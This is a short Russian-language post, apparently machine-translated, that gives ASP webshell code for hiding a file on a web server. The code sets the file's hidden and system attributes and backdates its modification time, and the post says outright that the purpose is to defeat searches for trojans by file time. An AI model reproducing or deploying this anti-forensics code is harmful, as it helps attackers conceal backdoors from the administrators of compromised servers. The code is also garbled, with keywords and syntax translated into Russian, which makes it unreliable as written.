Aspshell скрывает и изменяет время последней модификации файла. Поэтому при поиске троянов в будущем нельзя просто судить по времени. Скопируйте код кода следующим образом:
<%
'Скрыть и изменить время последнего изменения файла aspshell
'Принцип: вы можете изменить атрибуты файла через FSO, например, установив для него режим «только для чтения», «скрытый», «системный» и т. д.; атрибут атрибутов в FSO изменяет атрибуты файла: 1 — только для чтения, 2 — скрыт, и 4 — системный файл
'Вы можете сбросить время последнего изменения файла через Shell.application
'24 февраля 2009 г., автор: skyfire
response.write <метод формы = сообщение>
Путь response.write: <input name=path value='&server.mappath(/)&' size='30'>(должен заканчиваться на /)<br />
имя файла response.write: <input name=filename value='test.txt' size='30'><br />
Время изменения ответа.write: <input name=time value='30.12.2099 12:30:30' size='30'><br />
response.write <тип ввода=отправить значение=Изменить и скрыть файл>
ответ.запись </form>
'Получить отправленные параметры
установить путь = запрос.Форма (путь)
установить fileName=request.Form(имя файла)
установить newTime=request.Form(время)
if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0)),то
'Устанавливаем атрибуты файла через fso
Установите fso=Server.CreateObject(Scripting.FileSystemObject)
Установить file=fso.getFile(путь&имя_файла)
file.attributes=2+4 'Установить скрытые атрибуты файла + системные
'Изменить время последнего изменения файла через Shell.Application
Установить оболочку = Server.CreateObject(Shell.Application)
Установите app_path=shell.NameSpace(server.mappath(.))
Установите app_file=app_path.ParseName(fileName)
app_file.Modifydate=newTime
конец, если
%>